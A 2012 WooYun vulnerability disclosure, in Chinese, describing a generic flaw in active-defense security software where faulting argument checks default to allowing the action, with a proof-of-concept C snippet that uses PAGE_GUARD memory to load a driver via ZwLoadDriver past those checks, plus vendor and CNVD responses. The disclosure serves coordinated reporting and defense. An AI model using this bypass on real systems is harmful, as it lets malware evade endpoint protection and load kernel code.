当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013160

漏洞标题:主动防御类软件的通用实现漏洞

相关厂商:客户端安全公司

漏洞作者: rhett

提交时间:2012-10-09 15:54

修复时间:2012-11-23 15:55

公开时间:2012-11-23 15:55

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-09: 细节已通知厂商并且等待厂商处理中
2012-10-12: 厂商已经确认,细节仅向厂商公开
2012-10-15: 细节向第三方安全合作伙伴开放
2012-12-06: 细节向核心白帽子及相关领域专家公开
2012-12-16: 细节向普通白帽子公开
2012-12-26: 细节向实习白帽子公开
2012-11-23: 细节向公众公开

简要描述:

主动防御类软件在实现上存在一个通用的漏洞,恶意软件可以借此绕过安全检查执行恶意行为

详细说明:

主防会拦截系统的一些关键操作,在这些监控点上做参数检查。因为参数往往来自用户态,所以参数检查的过程是在一个__try里面,防止访问违规造成crash。一般的模式类似如下:

bool bPass = true;
__try
{
bPass = check_paramters(p1,p2,p3); // p为参数
}
__except(1)
{
bPass = true;
}
return (bPass ? status_success : status_access_denied);


上面只是伪代码,意思是对参数进行检查,如果发现有恶意行为,那么返回拒绝,不允许执行。(实际远比这复杂,对参数会经过很多策略检查。结果也不是直接返回,有可能弹框由用户决策)。问题在于,如果访问参数的时候出现异常,那么后续的处理只好放过这个行为。问题就在这里,如果可以让主防访问参数出现异常,但是系统实际使用参数的时候却可以正常,那么主防的检查就被绕过了。这不是不可能,否则就不是漏洞!windows在内存管理上有个独特的地方,叫做PAGE_GUARD。对一段内存空间设置PAGE_GUARD属性后,对这部分内存的首次访问就会出现异常,后续访问则正常。所以,通过利用这个机制,加上对安全软件的检测和试验,上述的漏洞就可以很好的被利用了。

漏洞证明:

pStr = (PUNICODE_STRING)VirtualAlloc(NULL,PAGE_SIZE,MEM_COMMIT,PAGE_READWRITE);
if(!pStr)
{
_tprintf(_T("Alloc Str Failed\n"));
goto __Cleanup;
}
pStr->Length = (USHORT)(wcslen(SERVICE_PATH) * sizeof(WCHAR));
pStr->MaximumLength = pStr->Length + sizeof(WCHAR);
pStr->Buffer = (PWSTR)(pStr + 1);
wcscpy_s(pStr->Buffer,pStr->MaximumLength / sizeof(WCHAR),p);
//STATUS_SUCCESS
if(!VirtualProtect(pStr,PAGE_SIZE,PAGE_READWRITE | PAGE_GUARD,&dwOldProt))
{
_tprintf(_T("VirtualProtect Failed\n"));
goto __Cleanup;
}

if((status = ZwLoadDriver(pStr)) != 0)
{
_tprintf(_T("ZwLoadDriver Failed status = %x\n"),status);
goto __Cleanup;
}
_tprintf(_T("ZwLoadDriver Successfully\n"));

修复方案:

自己研究...
感谢 newtongao 和 garymao

版权声明:转载请注明来源 rhett@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-10-12 22:40

厂商回复:

根据近几日的跟踪,CNVD暂未直接在相关软件实例上复现,不过已认可进行绕过的这个思路,马其诺防线的绕过也是如此。
12日,CNVD已经向启明星辰、绿盟、东软、奇虎、天融信、安氏、安天、恒安嘉新等具备终端检测或网络侧防护产品的CNVD成员单位下发漏洞自查确认任务,待各单位17日后反馈。
最新情况将跟踪反馈,同时CNVD秘书处也将进行技术研判监督。
暂不按危害后果评分,思路很赞,rank 20

最新状态:

2012-10-15:15日,天融信公司首先反馈测试情况,确认漏洞机理以及复现部分过程。同时,根据rhett的成果发现一些其他新的技术细节。

2012-10-17:10月16日,根据安天公司测试反馈结果,对6款主流安全防护软件的测试结果表明,使用该思路的绕过技术可绕过4款产品当前版本的查杀,并使得其中两款产品主机蓝屏。